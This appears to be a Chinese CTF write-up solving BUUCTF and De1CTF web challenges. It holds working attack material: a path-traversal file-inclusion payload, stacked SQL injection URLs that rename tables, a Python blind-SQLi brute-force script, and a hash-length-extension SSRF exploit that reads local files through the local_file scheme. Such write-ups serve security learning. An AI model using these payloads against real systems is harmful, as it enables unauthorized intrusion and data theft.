Warmup
进去后查看网页源代码,发现source.php,打开得到源码。审计源码,不会做QAQ。感觉urldecode可以搞事情。打开谷歌,查找资料,找到了这个: phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613
构造payload:
http://web5.buuoj.cn/source.php?file=hint.php%253f../../../../../../ffffllllaaaagggg
得到flag。
随便注
这道题是国赛中写过的题目。上次忘记写wp了,这次就当复现了。
注入,简单测试,发现select被ban了。用分号隔开来执行多条语句:
/?inject=1%27;show%20databases%23
成功查出数据库库名。接着查表:
/?inject=1%27;use%20supersqli;show%20tables%23
查列:
/?inject=1%27;use%20supersqli;show%20tables;show%20columns%20from%20words%23
/?inject=1%27;use%20supersqli;show%20tables;show%20columns%20from`1919810931114514`%23
发现那一串数字的列里面有flag。不能用select如何查字段呢?
整理一下逻辑:后端从words表里面取出我们输入所对应的语句,那么可以通过这里来取出我们想要的flag。
简单测试一下,如果没有id字段会直接报错,于是要把所有语句都放在一起。Payload如下:
/?inject=1%27;use%20supersqli;show%20tables;ALTER%20TABLE%20words%20RENAME%20TO%20row;ALTER%20TABLE`1919810931114514`RENAME%20TO%20words;alter%20table%20words%20add%20id%20int(4)%23
接着在最开始的界面中注入得到flag:
http://web16.buuoj.cn/?inject=1%27+or+1%3D1%23
admin
这题我在测试的时候让它报错了……然后直接拿到了一个 Python 的沙盒……然后就任意代码执行拿到 flag 了……
大佬的 writeup :
Hack World
基于布尔的盲注。简单测试了一下发现过滤了空格和*
,那就用 TAB 来代替。
上脚本:
import requests
import string
flag = ""
url = "http://web43.buuoj.cn/index.php"
characters = string.ascii_letters + string.digits + string.punctuation
for i in range(1, 268):
next_pos = False
for j in characters:
payload = "id=0^(ascii(substr((select(flag)from\tflag),{0},1))={1})".format(i, ord(j))
data = {"id": payload}
#print (data)
response = requests.post(url, data=data)
if "Hello, glzjin wants a girlfriend." in response.text:
next_pos = True
flag += j
break
print (flag)
if (next_pos == False):
break
print (flag)
piapiapia
https://blog.domineto.top/CTF/619.html
[De1CTF 2019]SSRF Me
delta_2019_web_ssrfme-master.zip
进去之后直接给了源码。题目提示了flag在 ./flag.txt
这个文件里面,于是想到 LFI。寻找可以进行 LFI 的地方,在scan 函数中找到了 urlopen
这个函数。urlopen
可以通过 file://
流来进行读取本地文件。向上回溯,这里有两个地方需要绕过:
- action 中需要包含 read 字符串,这里有一个加盐MD5需要绕过。
- 题目的 waf 过滤了
gopher
和file
关键字
第一个地方盐加在字符串的前面,且盐的长度已知,所以可以通过哈希长度扩展攻击来绕过。
第二个地方可以用 CVE-2019-9948 绕过。将 file
改为 local_file
即可绕过。
exp
#encoding: utf-8
import hashpumpy
import requests
import urllib
url = "http://139.180.128.86/"
payload = "local_file:flag.txt"
r = requests.get(url + "geneSign", params = {"param": payload})
row_sign = r.text
sign = hashpumpy.hashpump(row_sign, payload + "scan", "read", 16)
r = requests.get(url + "De1ta", params = {"param": payload}, cookies = {
"sign": sign[0],
"action": urllib.quote(sign[1][len(payload):])
})
print (r.text)